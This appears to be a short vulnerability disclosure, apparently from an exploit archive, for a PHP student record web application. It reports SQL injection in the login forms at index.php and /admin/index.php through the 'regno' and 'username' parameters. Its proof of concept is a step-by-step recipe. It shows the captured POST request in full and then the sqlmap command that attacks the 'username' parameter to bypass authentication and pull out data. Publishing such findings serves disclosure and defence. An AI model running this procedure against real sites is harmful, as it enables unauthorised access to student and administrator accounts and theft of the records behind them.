  # Version : 1.0
  # Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
  # Category: Webapp
  
  # Description
  
  The files index.php on the main login page, and the index.php on the
  /admin/ login page does not perform input validation on the regno
  and username parameters. An attacker can send malicious input in the post
  request to http://localhost/index.php or either
  http://localhost/admin/index.php and bypass authentication, extract
  sensitive information etc.
  
  #POC
  
  1) Navigate to the admin login page
  
  Example:
  
  http://localhost/admin/index.php
  
  2) Fill in dummy values for 'username' and 'password' fields and send the
  request via an HTTP intercept tool
  
  3) Save the request to file. Example, student_record_sqli.req
  
  POST /admin/index.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
  Firefox/78.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 32
  Origin: http://localhost
  DNT: 1
  Connection: close
  
  username=admin&password=dummy
  
  4) Run SQLmap on the file,
  
  sqlmap -r student_record_sqli.req --dbms=mysql --threads=10 -p username
